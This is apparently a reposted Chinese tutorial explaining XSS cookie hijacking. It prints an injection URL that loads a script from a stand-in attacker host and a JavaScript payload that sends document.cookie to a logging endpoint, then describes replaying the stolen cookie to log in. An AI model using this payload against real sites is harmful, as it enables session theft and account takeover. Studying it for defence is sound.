说说劫持 Cookie 的原理

完成具体功能的恶意脚本(javaScript、Flash 等)称为 XSS Payload。黑客会通过这些脚本,来控制用户的浏览器。劫持 Cookie 就是一种 XSS Payload。

Cookie 中,一般加密存放着当前用户的登陆凭证。如果 Cookie 被劫持,那么黑客就可以不使用密码,直接登陆到用户的账号中。

1 窃取 Cookie

首先先在存在 XSS 漏洞的网站,加载一段远程脚本,形如:

http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>
复制代码

XSS Payload 写在 malice.js 中,这样就可以避免直接在 URL 参数中写入大量的脚本代码。

malice.js 内容:

var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
复制代码

escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

在此,我们动态创建了一个图片标签,并把 cookie 参数作为对象,发送给后端服务器。

这样就完成了窃取 Cookie 的整个过程。

2 利用 Cookie 登陆账户

一个网站,如果还未登录,一般在右上角有个 “登录” 链接:

假设已经得到了某个账户的 Cookie 信息,那么就可以在 Fiddler 中,模拟 Get 请求:

然后就可以成功登陆网站咯:

转载于:https://juejin.im/post/5ca85653e51d452eb272bc1f

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值